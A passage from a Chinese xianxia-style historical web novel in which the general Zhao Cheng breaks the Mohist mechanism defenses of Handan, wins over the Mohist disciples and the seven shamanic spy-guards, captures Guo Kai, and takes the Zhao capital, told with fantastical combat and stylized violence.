“我避他锋芒?”
赵诚轻笑一声,“有机关拦路,那就破了他的机关就是。”
有时候赵诚会想,如果不是后来罢黜百家,独尊儒术,以墨家的智慧,是不是会更早地让这个国家进入工业**的技术大**时代。
不论是鲁班秘术,还是墨家机巧,在后世都已经失传了太多,只剩下一些寥寥的成果,依然能够让后世之人惊叹古人的智慧。
而他身处这个时代,或许可以见识见识墨家真正的机关术。
如果真的有些技术在,这墨家他需要掌握在手中,为统一世界,提供技术支持。
一个时辰之后。
站在邯郸城墙之上的禽滑厘已经能够看到浩浩荡荡的血衣军了。
这血衣军之中,随便挑出一个人来,都是炼体有成的高手,行进速度飞快,远远看上去,整个血衣军就好似一条腾飞而来的巨龙。
简直就不像是跑过来的,而像是飞过来的!
那杀气和军势,更是无可匹敌!
这让邯郸城头上的卫卒都是脸色发白,而禽滑厘的脸色则是更加的凝重。
然而血衣军行进到一定距离,就不再继续推进,而是全军停驻,独有赵诚一人上前。
赵诚越走越近,看着那无穷无尽的机关,简直如同城外之城一般。
这机关环环相扣,运转丝滑流畅,简直不像是古代之人制作出来的机关,倒像是后世搞出来的高科技艺术品。
丝滑,太丝滑了。
赵诚对于机关的认知,还停留在无比卡顿艰涩,咔咔作响的形象上。
但眼前这一幕,直接刷新了他的认知。
和邺县之中那些机关不同,这些机关完整精致,简直如同活物一般,一看就不是同一个等级之人的手笔。
“好活儿!”
赵诚有些惊叹,目光锁定城头之上高大的禽滑厘。
“手艺不错,可愿为某做事?”
禽滑厘气笑了,“血屠!你在白日做梦吗?”
“你残暴不仁,杀民杀降,屠戮无尽,更残害我墨家子弟,我墨家与你势不两立,怎会为你做事?”
“你且先活过今天再说吧!”
赵诚摇摇头,“那真是可惜了。”
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可惜了这些精良如艺术品的机关。
禽滑厘紧张地看着赵诚,赵诚只要再上前一步,就将踏入千机锁龙阵之中。
届时诸多墨家弟子催动机关,集合无数卫卒和机关之力,足以将其打入地下流沙,承受巨型刀轮和无数机关暗**的攻击。
所有人都紧张地看着赵诚。
而赵诚则是轻松笑着,大摇大摆向前踏去。
就是现在!
禽滑厘一挥手,地面瞬间崩裂塌陷。
同时,小型机关城之中,无数墨家子弟齐齐出手,激活机关中枢,而机关城中的卫卒则是拼了命的发力。
机关齿轮将所有人的力量都集结在一起,爆发出无上巨力。
大型机关之上,瞬间弹出无数锁链倒钩,朝着赵诚飞跃而去,势如闪电。
城墙之上,更有连**无尽,巨弦炸响,近两丈长短的巨型**箭一发接著一发射出,连绵不绝,如同暴雨倾盆而下。
巨型大石,燃烧着火焰,有如天外陨石,朝着赵诚砸来。
如此一幕,简直如同灭世之灾。
前一刻还无比平静,下一刻,却是漫天无穷攻击,好似要毁天灭地。
“将军!”
如此恐怖一幕,让血衣军所有人都是神色大变。
饶是之前赵诚有一戟断浪之举,此时面对如此天威般的攻击,他们依然无比骇然。
而赵诚早有预料,他踏入此阵,就是要亲身感受一下墨家机关术的威力。
此时此刻,他身体周围数十丈的区域全部塌陷。
巨大的锁链自四面八方弹射而来,上面遍布尖刺倒钩,纵横交错,拦截赵诚的所有去路。
一旦被这锁链缠住,倒钩勾住,赵诚将面对数万卫卒集结之力,以及机关爆发之力。
而若是向上方闪躲,则要硬扛那无穷连**和火焰巨石。
向下逃窜,就要掉入那刀轮搅动的流沙之中。
不论是谁看,这都已经濒临绝境。
春平君脸上已经泛起了笑容。
禽滑厘更是暗暗冷笑,“无知血屠,竟然敢如此自大,主动踏入我墨家陷阱。”
“今日,这里便是你的埋骨之地!”
第140章 禽滑厘:请将军传吾蒸汽之法!
当此之时,却见赵诚大戟一横,有若银河落野,横扫而去。
那堪比水盆粗细的精钢倒钩锁链,接连与他的大戟相碰,可是连叮当之声都没有响起,那大戟落在精钢锁链之上,就像是切豆腐一般,轻松将其层层斩断。
大戟上的真元一震,锁链更是从断口处向着后面断裂开去,巨大的力量一路蔓延到根部,整根锁链寸寸绷断的同时,小型机关城都为之震颤不已。
更有操控机关枢纽的墨家子弟受到余波震荡,嘴角溢血。
“什么!?”
“此人可抵万军之力!?”
钢铁碎片横飞之际,无数巨型**箭依然砸下。
赵诚真元自窍穴之中爆发开来,形成无数真元气刃,朝着天空之上席卷而去。
噼啪之声连绵不绝。
那些无穷无尽的巨**瞬间寸寸绷断,化作漫天碎屑,飘落而下。
紧接着,天外陨石一般的火焰巨石穿越漫天碎屑砸落下来。
赵诚提戟上挑,掀起真元如贯天长虹,卷动无数火焰巨石,甩向城墙之上,**邯郸南城!
轰隆隆炸响之间,邯郸南城之上,火焰碎石翻飞,连**崩碎,诸多卫卒被砸成肉泥,而后烧成焦炭。
城墙上更是被砸的崩出许多缺口,可谓一片狼藉,哀嚎不断。
"这妖人,怎能强至如此!?"
“墨家数百弟子,耗费无数心里打造的守御机关,集合上万卫卒之力,都对付不了他?”
禽滑厘也是面色难看,“春平君莫急,他已经受困于千机锁龙阵,在劫难逃了。”
确实,赵诚的身体也在不断地下陷,短短片刻之间,已经半个身体落入到千机锁龙阵之中了。
刀轮卷动流沙,产生了一股吸力,让他下陷的速度越来越快。
同时更有无数淬了毒的暗**,在流沙之中射来,刺在赵诚的身上。
禽滑厘一跃而下,双臂张开,机关羽翼弹出,竟是飞跃而至赵诚上空。
他摊开手掌,对准赵诚,整条手臂上的机关同时激发,同时爆发真元之力,加持机关之力。
一时爆发钢针如雨。
每一枚钢针,都裹挟着尖锐真元,穿梭而至。
肉眼难见,防不胜防。
千机锁龙阵之中,赵诚似乎捉襟见肘,身体越发下陷,大戟挥动也愈发无力,面对禽滑厘的钢针攻击,只堪堪抵挡了几下,就完全没入流沙之中,不见了身形。
禽滑厘又催动机关,对着流沙之中攻击了一会儿。
下方刀轮持续绞杀,暗**也运转不停。
如今就算是铁人,现在也被绞成铁泥了。
他总算松了口气,收起机关羽翼飘然落下。
“血屠已死!”
“屠灭血衣军!”
此话一出,整个邯郸南城都是欢呼震天,数百墨家子弟更是催动小型机关城之中的杀伐机关,对准了远处的血衣军。
而在血衣军的后方地面之下,更有大型机关连续冒出,截断血衣军的后路。
然而血衣军根本没打算后退,反而在禽滑厘话音落地的瞬间,就齐齐前冲。
“杀!”
“让他们给将军陪葬!”
可就在这时,地面之下,突然传来一道惊天巨响。
轰!
地下流沙炸上了天,更有刀轮碎片斜飞而出,无数淬毒**箭穿透地面,刺向四面八方。
禽滑厘一时不查,直接被那去势凶猛的刀轮碎片划伤了胸口,屁股上更是刺进了好几根淬毒**箭,脸色瞬间开始发绿!
他连忙服下解毒丹,而后惊疑不定地看向炸响传来的方向。
却见那大坑之中,没有人影跃出,刚刚松了口气。
一只大手就覆盖在他的后脖颈上,将其如同小鸡一般提了起来。
“这机关有点强度,但是不多。”
禽滑厘脸色一白,扭头看去,不是那血屠又是何人!?
“你……你为何没死!?”
何止没死,简直是毫发无伤!
“怎么会死,我只是去检验一下你墨家机关的强度。”
看着那双理所当然的眸子,禽滑厘心中有一股绝望汹涌浮现。
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>完了!
连千机锁龙阵都奈何不了他,这妖人难道已经天下无敌?
赵诚笑道,“你这机关阵,借助水力,力量还是差了许多,还能再改良一下。”
“为我做事,我给你一个改良机关再来对付我的机会。”
禽滑厘咬着牙,“不可能……”
赵诚拿过淬毒的**箭,噗嗤一声插在了他的胸口上,“吾好**,你带来这几百墨家弟子根本不够我杀的,不再好好想想吗?”
禽滑厘脸又绿了,但看了看那些墨家子弟。
想着这也不算屈服于血屠,只是带着这些墨家子弟,徐徐图谋对付血屠。
这血屠自大,若是改良机关之后,再来杀他,也不是不行。
于是他动作麻利的拿出解毒丹咽了下去,“血屠,你还懂机关术?”
赵诚好笑的看着他吞下解毒丹,回道,“略懂。”
禽滑厘将信将疑,“那你说,如何改良?”
赵诚问道,“听过蒸汽机吗?”
禽滑厘一脸茫然,“蒸汽机是何物?蒸汽……机关……嘶……”
这玩意听起来很像是某种机关,他脑海中隐隐有灵光闪过,但是却怎么都想不清楚。
他似乎在这三个字之中,察觉到某种惊天大道。
“蒸汽,是一种发力能源,能够作为机关的能源中枢。”
禽滑厘顿时好似被雷劈了。
如今墨家机关虽然精巧,但是大多只能借助人力,少数大型机关能够借助水力,或者风力。
但更加精巧的机关,却只有修为高深的墨家高手,可以催动真元作为能源。
所以能源,是墨家现在最短板的地方。
这血屠不愧是妖人,竟然一句话就点出了墨家最短处。
而且好似还有解决办法!
禽滑厘更是意动,毕竟他这也不算屈服于血屠了,只是假装臣服,实则骗取血屠秘法。
师其长技以制其,不丢脸!
想着,禽滑厘纳头便拜,“血……将军,吾愿为汝做事!”
“请传吾蒸汽之法!”
第141章 随我向前!迎将军入城!
“师兄,这……”
“大师兄怎么能屈服于血屠?”
“那血屠莫不是给大师兄施展了什么妖术!?”
“大师兄,不要受那血屠蛊惑啊!”
眼见大师兄都拜在那血屠身前,诸多墨家子弟彻底绝望。
他们苦心孤诣,费尽心血和资源打造的小型机关城,以及千机锁龙阵,竟然丝毫不能奈何赵诚。
一番操作下来,赵诚不但毫发无损,反倒是他们的大师兄身受重伤。
如此情境,让这些墨家弟子根本生不起一丝斗志。
可让他们屈服于血屠,他们却是不愿意的,他们墨家主张的就是兼爱非攻,这血屠所作所为,与他们的理念截然相反,乃是大道之敌,怎可认贼作父?
“和血屠拼了!”
“救回大师兄!”
“毋宁死,不屈服!”
“杀!”
无数墨家子弟再次操纵起已经残破了许多的小型机关城,但此时作为人力能源的数万卫卒已经快被赵诚吓破了胆,双腿都在发软,一身的力气都发挥不出十之二三。
机关城打出的威力自然大减。
而千机锁龙阵已经被赵诚毁了,起不到阻拦作用,血衣军正一冲而上。
面对墨家的机关城攻击,这大股的血衣军如同游龙入海,辗转腾挪,竟然是顶着机关陷阱疯狂冲杀,转眼间已经杀至机关城下。
此时墨家子弟才惊觉血衣军的强大。
这血衣军随便挑出一个人来,都是一顶一的横练高手。
力大无穷不说,体魄还极为坚韧。
就好似一个狂人拆迁队一般,一剑劈下去,就能够将那木质机关栋梁劈成两断。
三两下之间,这小型机关城已经是摇摇欲坠。
墨家子弟大惊失色,此时修是来不及了,于是一个个拔出剑来,施展墨家剑法剑阵,对抗血衣军。
可论机关术,他们能更胜一筹,但论起战力来,普通墨家子弟哪是这群横练狂人的对手。
血衣军的洪流一冲而上,摧枯拉朽,有时候一脚踹下去,连人带机关,都踹个稀碎。
若非墨家子弟之中,有些修为精湛,拥有元气的精英弟子能够抵抗一二,现在已经全面溃败了。
禽滑厘见状连忙命令墨家弟子停手,但墨家弟子只当他受到了赵诚的蛊惑,根本听不进去。
禽滑厘只好以墨家暗号传递信息,说明赵诚拥有顶尖墨家秘法,他们可以骗取秘法,而后借助秘法再斩血屠!
如此一来,墨家弟子们才算是将信将疑地停了手,和禽滑厘站在了一起,不再对血衣军出手。
而赵诚留着他们还有用,自然也就没有让血衣军继续屠戮这些墨家子弟。
春平君见状大急,怒斥禽滑厘,“墨家子弟,怎可屈服血屠!?”
“你们难道忘记了墨家的理念吗?”
禽滑厘昂首挺胸,回答道,“吾自有打算!春平君,识时务者为俊杰,为降低伤亡,不若让卫卒们都投降了吧!”
兼爱非攻,也得有命维持这个理念才行。
何况此时墨家子弟就算死尽了,也阻止不了这血屠,还不如保存火种,留待来日再对付血屠。
春平君听了禽滑厘的话,快要气得吐血。
你这屁股歪的是真快啊,现在开始替血屠劝降我们了!?
打着打着,友方大腿成敌军了是怎么个事!?
此时小型机关城中,只剩下邯郸城的普通卫卒对抗血衣军,哪是节节败退,血衣军杀戮普通军队,就如同砍瓜切菜一般简单。
不出片刻时间,颓势已成。
无数邯郸卫卒都是狼狈窜逃,可之前作为对抗天险的小型机关城,如今却成了索命的牢笼。
惨呼声不绝于耳,越来越多的人自机关城中逃窜而出,而后跪地投降。
春平君满脸灰败,只觉大势已去。
而城上的胡谍已经将信息飞快地传入邯郸城王宫之中。
郭开展开密报一看,顿时感觉天都塌了。
这血屠竟然强至这种程度?
独自面对千机锁龙阵和墨家小型机关城而毫发无损,甚至将墨家子弟打得屈服投诚?
看完这份密报,他现在都想投降了。
可是他不能,因为这朝中上下,全都知道他曾出了三道毒计,对付赵诚。
而且,因为他起头,他的那些追随者,也是出了许多毒计。
赵诚来势汹汹,这东西根本瞒不住,秋后算账,他就是罪魁祸首。
投降是投不得了
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,必须死战到底。
第一件事,就是攘外必先安内!
郭开眼睛一转,立刻将密报呈给赵王迁。
“陛下,春平君请来的那些墨家子弟已经投敌,不再抵抗血屠,如今血屠毫发无损,血衣军势如破竹,城外正节节败退。”
“臣以为,这春平君定是联合墨家子弟,勾结了赵诚,里应外合,想要图谋邯郸和陛下啊!”
赵王迁又是惊恐又是愤怒,一把扫飞了案台上面的所有东西,“春平君!!!”
“贪生怕死,叛国逆贼,传寡人令,赐死春平君!”
“相国,速速护送寡人离开邯郸,此地不宜久留!”
赵王迁下令赐死春平君之后,提着王袍下摆就往殿外跑。
郭开见状,立刻紧随其后。
“谍府七卫何在?”
他一边跑,一边喝道。
下一刻,七名形态各异的胡笳伶出现在其身后。
“你们去传令,赐死春平君。”
“还有,让赵葱死战,于南城阻拦血衣军入城!”
“你们配合赵葱,伺机击杀赵诚!”
谍府七卫,是阴山谍府之中的七个首脑人物,也是萨满术最为强大的七个人。
常年神龙见首不见尾,就算是阴山谍府之中的谍令,也很难见到他们一面。
七人领命而去。
出了大殿,一名身形瘦高,身披黑袍的身影瞬间化作青烟,遁形而去。
“风离!你去哪?”
“与你无关。”
风离瞬间消失,转瞬之间出现在高厚城墙之上,他嘴唇微动,一缕风将他的声音带走,精准的传递到了春平君的耳中。
春平君还在激愤斥责禽滑厘,听到这声音顿时愕然。
“陛下要赐死我?”
他的眸中,瞬间闪过不敢置信,悲愤,以及苍凉。
最后却都化作了决绝。
只见他拔剑而起,奔城而出,大喝一声有若虎啸!
“邯郸将士听令!随我向前,迎将军入城!”
诸多卫卒眼见春平君都冲上去了,顿时心中再次升起勇气来,一冲而上。
“杀!……啊?”
“不是,迎将军入城?哪个将军?”
“这……说的不会是血屠吧?”
第142章 公若不弃,佾愿拜为义父!
“佾飘零半生,只恨未逢明主,公若不弃,赵佾愿拜为义父。”
看着跪拜在身前的春平君,赵诚脸颊都有点抽搐起来了。
这么抽象吗?
您这岁数,还拜义父呢?
一旁的禽滑厘更是傻了眼,不可思议地看着春平君。
“不是,你方才……”
不是这么说的啊!
刚刚就数你骂得凶!
现在你特么要拜义父!?
你刚刚的骨气呢!?
春平君面色如常,“方才不过是替义父考验一下你的忠诚罢了。”
禽滑厘都震惊了,真是从未见过如此厚颜无耻之人。
这还是我认识的春平君吗?
是什么让他转变如此之大,如此之快?
禽滑厘陷入了深深地沉思。
而春平君率领的卫卒们也是纷纷抬不起头来,既感到羞耻,又长长松了一口气。
春平君所为虽然令人不齿,但他们好像确实是不必**。
这血衣军,当真是无法抵抗的存在。
与之对战,简直如同螳臂当车一般。
实在是太过无力。
而就在这时,邯郸城中,传令赐死春平君的令官才堪堪赶到。
“大王有令,春平君贪生怕死,勾结敌……嗯!?”
他眼睛一扫,没在城墙上看到春平君,不由得一愣,大怒道,“春平君呢?”
赵葱领着城头上的余部,脸色发木地看向城下。
令官一瞧,一口气差点没上来。
说你投敌,你特么真投敌啊!
都带着兵跪在敌将身前了,还能有点骨气吗?
这下,这诏令是念也不是,不念也不是。
他干脆硬着头皮道,“春平君投敌,罪该万死,三军上下得而诛之!”
“大王有令,命赵葱将军死守南门,抵御血屠,敢有退缩之举,一并赐死!”
赵葱瞪着眼睛看着令官,又看了看城下的血衣军,伸出食指指着自己的鼻子,“我?”
他又看了看城头上为数不多,刚刚没来得及随春平君冲出城门投降的卫卒,更是不敢置信,“抵御血屠?”
令官点了点头,“赵将军莫怕,相国还命谍府七卫来助你击杀血屠,他们七人各个都是……”
他回头一看,不由得一愣。
七人之中只剩了六人还站在后面。
而那之前就消失的风离,此时正身处城外,也随春平君一起,拜倒在赵诚面前。
令官气得跳脚,“七卫之一,怎可投敌!难道不怕相国再也不给解药吗?”
“六卫听令,替相国斩了那叛徒!”
“咦?”
他再一扭头,六卫就剩了五个。
一名银发及踝,眉心点着银砂月纹的女子已然步步凌空,来到风离身后接连拜倒了。
令官看着其余五卫若有所思的表情,不由得头皮发麻,“你们敢叛逃?难道还想感受万毒噬心之苦吗?”
黑衣上缝满鸦羽,脸藏在鸟嘴面具后,肩头落着只独眼乌鸦的男子,与乌鸦叽喳了几声之后,指着赵诚身后的两名男子说道。
“那两人似乎也是神农遗族,或可解吾等万毒噬心之苦。”
一名肌肤白得像冻住的冰,睫毛上凝着细霜的女子开口,朱唇呵出白气,“此人修为通天,吾等不是他的对手,与其死战,何如投诚?”
天灵盖嵌着青铜颅骨饰的秃顶男子,阴森森道,“郭开不是好东西,换哪一个主子,也未必就比他差了。”
身高近丈,全身覆盖岩石般的鳞甲的巨汉闻言,二话不说,直接从城墙上跳了下去,奔向赵诚方向。
跑到一半,似乎想到了什么,呼喝了一声,四面八方顿时有几十名身形魁梧的胡谍狂奔而出,跟在他后面一起朝对面奔去。
“不是,你们疯了?”
令官头皮发麻,诏令都没念完,七卫已经只剩下了四卫。
而就这四卫,还蠢蠢欲动。
“你们信不信,吾现在就让相国激发你们身上的噬心毒?”
红衣染血,指甲涂着赭石色颜料的老婆婆笑眯眯地打量着令官和赵葱,“投诚也得有点投诚的样子,这守将我先带走了。”
她拍了拍腰间皮囊,这皮囊里装着活的蛊虫,蛊虫电射而出,趴在赵葱脖颈之上。
赵葱大惊失色,还想伸手去拍,却突然浑身一软,一坨
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烂泥一般被老婆子提在手中,向着城外掠去。
赵葱欲哭无泪。
不是吧老太太,老子也想投诚啊,怎么成投诚的筹码了?
眼见守将已经被带走了,其余三人虎视眈眈看向令官。
那秃顶男突然握住了手中骨棒,上面咒文瞬间燃起,骨棒转瞬成灰被其洒出。
鸦九一甩衣袍,黑羽漫天激射,扫落咒灰,探手抓向令官。
冰璃呵气成霜,周遭气温急剧下降,地面、鸦羽、咒灰同时结冰。
另外两名谍卫的身形也变得缓慢了许多,她飞身而出,指尖轻弹,那令官的脑袋就脆生生地掉了下来,被其提在手中,向着城下掠去。
“给你们留个身子,莫说奴家不仗义。”
鸦九和骨煞叹息一声,这身子又算什么诚意?
干脆一个人打开了城门,一个人驱赶着城头守卒,出门投降了。
“赵将军,在下赵国阴山谍府七卫之一,名为风离,精通风语萨满术,可听风语,数百里之外随风而来的声音,吾皆能听之。”
“亦可借助强风传音,借风飞遁,以风为刃。”
“吾是春平君多年前设在阴山谍府的暗子,如今亦随春平君弃暗投明,追随将军,请将军收吾入血衣楼。”
赵诚看着这瘦高黑袍男,此人左眼有一道浅疤如断弦,耳朵十分奇特,像是后世见过的精灵一族,又尖又长,也不知道是天生如此,还是后天练就的。
“哦?你知道血衣楼?”
“血衣楼是将军麾下组织,之前血衣楼刺杀郭开时,我便知晓了血衣楼。”
“我等受制于郭开,无非是因为身中奇毒,将军亦有两名神农遗族,亦可借此控制我。”
赵诚好奇道,“既然都是受制于人,为何要入我血衣楼?”
风离很光棍道,“因为打不过将军。”
“听命于郭开,就要对付将军,对付将军就要死,我不愿为郭开而死。”
“而且,将军比之郭开,如神明比之蝼蚁,追随将军,我心服口服,听命郭开,却只有忍气吞声。”
“故而随将军做事,总比听命于那郭开痛快得多。”
第143章 谍府七卫萨满术,占领邯郸!
“风离说的不错。”
银发及踝的月姬踏空而来,如同沐浴月光一般,落在风离身后,也对着赵诚盈盈一拜,“将军,吾名月姬,愿弃暗投明,追随将军。”
“吾善月影萨满术,可以发丝映月,制造幻影或月刃杀敌。”
咚咚咚。
地面震动之间,身形魁梧如山的石蛮带着几十名魁梧胡谍相继赶来,推金山倒玉柱一般跪倒在前。
“吾号石蛮,擅长地脉萨满术,有推山之力,携地脉部追随将军!”
一听有推山之力,赵诚来了些兴趣。
“你来推我,若能推动我,现下就赏你解毒之药!”
石蛮眼睛一亮,也不废话,站起身来,脚下如同扎根一般一沉,地面顿时好似蠕动起来,有若水波一般,给予石蛮助力。
下一刻,他如同巨石向前撞来,双手推向赵诚。
赵诚立定不动,单手迎向石蛮双手。
真元镇守如山,将石蛮抵住在三尺之外。
轰!
石蛮身子一矮,脚下大地如同水面一般波浪滚滚向后。
然而身前的赵诚却纹丝不动。
他心中骇然,此人何等巨力?
“吼!”
他脖子和额头青筋毕露,那如同岩石雕刻一般的双臂高高隆起,爆发无边巨力,持续向着赵诚冲击。
大地在震颤塌陷。
赵诚暗暗点头,仅以身体力量来说,此人爆发出来的全部力量,已经快要赶上自己了。
可若是算上真元修为,那就完全不够看。
他窍穴一震,一股真元如同泰山般压出,石蛮顿时双膝一软,被无边巨力压倒在地。
脸色已经是骇然到狰狞的程度。
再看赵诚巍然不动,连一点吃力的感觉都没有,他是真的发自内心的叹服。
“将军力如天倾,吾不敌也。”
“力量不错,也当赏。”赵诚点了点头,“去一旁候着吧。”
在前方不远处,一名衣着奇异的老太婆静静站在那里,手上还提着邯郸城的守将赵葱。
“老奴拜见将军,也没有什么见面礼,这邯郸守将,聊表诚意。”
“吾擅血祭萨满术,能够驱使血蛊控制他人心智。”
说着,那赵葱已经浑浑噩噩向前走来,而后跪倒在赵诚身前,开始麻木的磕头。
“亦可通过血蛊获得他人之血,以血为祭品,追踪标记,亦或者无形暗杀。”
说着,赵葱动作一停,其后脖颈处钻出一只血蛊,朝着血巫飞回。
而赵葱则是软软倒地,其身体内部已经完全被血蛊掏空了。
与此同时,一名肌肤白得像冰,整个人好似寒冰雕就得冰女一般的冰璃也提着令官的头颅赶来。
“将军,吾号冰璃,擅长冰魄萨满术,可凝水成冰,驱使冰寒为刃。”
她将那令官的头颅扔在地上,此时这令官的头颅已经被冻成了极为坚硬的冰块,落在地上甚至发出了叮当之响。
在其之后,骨煞与鸦九,也是打开了城门,驱使这城内残余卫卒出城投降。
秃顶男子说道,“将军,吾名骨煞,擅长骨卜萨满术,可以通过敌骨进行占卜亦或者是施咒杀敌。”
面具男则是说道,“将军,吾名鸦九,擅长鸦契萨满术,吾能够驱使和沟通乌鸦获取情报……”
说着,他挥了挥手,邯郸城周围顿时飞起无数的乌鸦来,好似乌云一般,浩浩荡荡,遮天蔽日。
而后再一挥手,无数乌鸦则是再次消失,不见了踪影。
不说其他,就这份情报能力,已经是不同凡响。
乌鸦可以说是最聪明的鸟类之一,此人能够与乌鸦沟通,甚至驱使乌鸦,可以获得许多常人无法获得的情报了。
春平君在一旁介绍道,“将军,此七人是阴山谍府之中最强的萨满胡谍,各怀奇能,郭开就是凭借着他们七**倾朝野,一手遮天的。”
赵诚看了看这七人,“那就并入血衣楼,药无医,给他们解毒。”
药无医顿时出现,看了看七人的情况,为难道,“爵爷,他们身上这毒不好解,需要一些奇珍草药,才能够解开。”
他随军而来,带来的都是普通的草药,现在上哪去找这种特定的奇药。
“将军,我们知道哪里有解药。”
“那郭开
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府上,有一名神医,叫做唐非愈,此女精通神农术,且修为极为高超,多年前她曾欠过郭开的人情,郭开借此找她制作了对付我们的**。”
“最近此女就在郭开府上,郭开为了让她能够帮助自己抵御血衣楼的袭击,为她准备了许多奇珍草药。”
“现如今,只要能够找到她,不但我们的毒能够解开,将军也将再得一神医,同时还能获得郭开收集来的无数奇珍草药。”
风离掐了一缕风放到耳边,而后抬头说道,“将军,那郭开已经带着神医跑了,现在快要跑到北门。”
赵诚点了点头,“带路。”
他挥了挥手,“血衣军,占领邯郸。”
此时墨家子弟全都已经弃暗投明。
而本土力量,不论是邯郸守将,还是卫卒,全都被谍府七卫弄出来投诚了,邯郸城再无一丝一毫的抵抗力量。
这城门大开,血衣军长驱直入,在投降将士们的配合之下,不费吹灰之力地占领了邯郸城。
并且墨家子弟在禽滑厘的指挥下,还在这些关键位置布置了机关术,协助血衣军控制邯郸城。
赵诚的大旗在邯郸城各处高台之上立起。
邯郸的天,变了。
在那舆图之上,这座赵国的国都,已经划归血衣军,盖上了赵诚的爵印。
……
“那血屠真有如此神威,连墨家的机关城和千机锁龙阵都不能伤他分毫?”
唐非愈施施然走在前方,听着郭开的讲述,脸上闪过些许质疑,“这墨家的人是不是和那血屠早有勾结。”
“他们那机关城我看过,想要从中安然无恙地穿过都非常困难,更何况硬碰硬的正面对攻。”
郭开一边鬼鬼祟祟地看向后方,一边催促车夫再快一点。
“我的姑奶奶诶,那血屠要是不强,我们至于现在就跑吗?”
“好在谍府七卫还算是有些本事,就算不能杀死血屠,也能够拖延一段时间,足够我们跑到他们找不到的地方去了。”
突然,一缕风不知道从何处钻进了马车,落入到了郭开的耳中。
郭开脸色顿时大变。
第144章 七卫反戈擒郭开,秋后算账纳赵地
“不好了!七卫之中有人叛变了!”
郭开脸色大变,立刻从怀里去掏更多的奇珍草药,“神医,吾这里还有几株……咦?”
他掏了掏,没有掏到准备好的保命药盒。
而后又仔细地到处摸索,都没有找到。
“我的药呢?”
他再一抬头,发现不但药丢了,他的救命神医现在也消失不见了。
顿时更是脸色惨白。
“神医!?”
他终于意识到,神医可能已经卷药跑路了。
郭开气的直拍大腿,“言而无信,言而无信啊!!”
“岂有此理,哪有拿了报酬却不做事的?”
他先开车帘,想要搜寻唐非愈的身影,结果却看到了心惊肉跳的一幕。
那马车之外,此时哪里还有什么自己人,全都已经被谍府七卫控制了。
冰璃鸦九等七人一个不少,各立一方,率领无数阴山谍府的胡笳伶将逃生车队团团包围。
“你们敢叛逃!!”
郭开怒斥起来,“我若是**,你们往后余生,只有生不如死!”
一边说着,他一边激活了七人身上的噬心之毒。
此毒在很久以前,七卫刚刚进入谍府的时候,就已经设下,如今已经深入骨髓,**极深。
只要他一激发此毒,所有人都立刻生不如死,功力也将荡然无存。
然而今天,在郭开激发了此毒之后,七人只是脸色微微一白,却没有倒地不起,亦或者狼狈求饶。
反而目露寒芒,朝着郭开步步紧逼。
因为他们的身上,已经被封不救临时施针封住了**运行的脉络,使得噬心之毒激活的效果大打折扣。
“郭开,你的好日子到头了!”
冰璃素手一挥,一道冰寒之气顿时笼罩了马车,郭开顿时如坠冰窟,整个人变得无比的寒冷,全身上下瞬间僵硬,感觉自己几乎要被冻**。
但这还不算,血巫等人纷纷出手。
各种手段齐齐落在郭开的身上。
那真是有仇报仇,有怨报怨,在不伤及生命和根本的情况下,用尽手段让郭开吃苦头。
郭开顿时生不如死,却又叫不出声音来,被七卫抓了出来,绑在了桩子上,当成了俘虏等候赵诚发落。
郭开都被抓了,赵王迁自然是紧随其后,被绑了起来,成为了俘虏。
其他王公贵族,文武百官自然是一个都跑不掉。
谍府七卫领着阴山谍府的众多胡笳伶,亲自出手,将这些大臣们全都一网打尽。
往日郭开的利刃,如今再次刀刃向内,但握刀的人却已经不是郭开,而是赵诚。
另一边。
唐非愈卷走了郭开所有的奇珍草药,身如残影,穿梭于邯郸城中,向着东门逃去。
“那血屠修为通天,不可力敌,郭开是逃不掉了,而且他也没什么用了。”
“奇药都已经到手,咱们江湖再见!”
她嘴角挂着愉悦笑意,曼妙身躯倏忽来去,在街头巷尾一闪而逝。
穿过小巷,在拐角处,她脚尖轻点,整个人飘飘然转向,却突然好想撞在了大山之上。
撞了个头昏脑涨。
一抬头,巨大的阴影笼罩,一双凶眸有若阎罗凝视,让她浑身发凉。
“就你叫唐非愈啊。”
“血……”
唐非愈心头一冷,惊呼刚到一半,就感觉那凶眸似有摄魂之能,头晕目转之下,眼前一黑浑身一软,直接栽倒在地。
摄魂夺魄!
大成阴阳术!
这家伙是个人?
这是她丧失意识之前最后的想法。
等再睁开眼,入目便是药无医和封不救两人的大脸。
“你也来了啊,师姐。”
“我一看他们身上的噬心毒,就知道是你。”
唐非愈有点懵懵的看着两人,“你们怎么在这?”
封不救早就习惯了,拍了拍唐非愈的肩膀,“嗨,我们早就来了。”
“就等你了。”
“来,叫爵爷。”
唐非愈向着一旁看去,顿时呼吸一滞。
这英武凛凛,杀气如凝的大将,不是血屠又是何人?
她顿时浑身绷紧,无数金针绕身而起,全身戒备,一触即发。
然而赵诚一抬眸,唐非愈又是眼前一黑,昏了过去。
封不救无语,又是几针下去,再次唤醒唐非愈。
唐非愈头痛欲裂,再不敢看赵诚一眼。
而是看向药无医和封不救,“你们在这是……”
药无医理所当然道,“为爵爷做事啊。”
唐非愈愕然,沉默片刻后说道,“那我……”
封不救说道,“你也跑不了,有师姐在,我们的药方又能完善许多了。”
“爵爷有所不知,师姐的能力远超我俩。”
唐非愈沉默,有些抗拒。
药无医说道,“哦对了,师姐还有一条路可以选。”
唐非愈眼睛一亮。
却听药无医说道,“还有
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死路一条。”
唐非愈咬牙,一巴掌将药无医拍翻。
而后干脆道,“愿为爵爷驱使。”
倒是一脉相传的光棍。
“先把他们体内的噬心毒解了,换血衣楼的毒。”
唐非愈动作利落,这毒本就是她一手设下的,如今解起来也很容易,不出片刻就已经解掉了谍府七卫的毒。
而后药无医又给七卫上了血衣楼的毒,七卫就此进入了血衣楼,也都成为了头牌。
如今血衣军已经完全占领了邯郸城上下,赵王迁等王室,以及文武大臣贵族,也全都被血衣军俘虏。
此番战事实在干脆利落,简单至极。
尤其邯郸一战,几乎没怎么**,就已经完全拿下。
赵诚此战,夺寿不过五万多年,只能说,聊胜于无。
而秋后算账也是必不可少。
郭开对付赵诚,赵诚并不当回事,但是郭开设计对付舅舅和舅母,这就触及到了赵诚的底线。
有风离等人率领谍府投诚,赵诚对于赵国百官上下的所作所为了如指掌。
轻而易举的将所有相关人士全部抓了出来,而后亲自挥舞大戟,砍下滚滚人头。
如此再夺寿近万年。
算了自己的账,还要算算嬴政的账。
赵诚将当初与嬴政有关联的人单独安排到了一起,等着嬴政来亲自算账。
而后清点军功,向咸阳传递军报。
至此,又在赵国王宫之中,过上了百无聊赖的生活。
好在这一次,赵国第一舞姬姬雪儿随行而来。
她感念赵诚灭了邯郸,救出了燕武,每日为赵诚献舞。
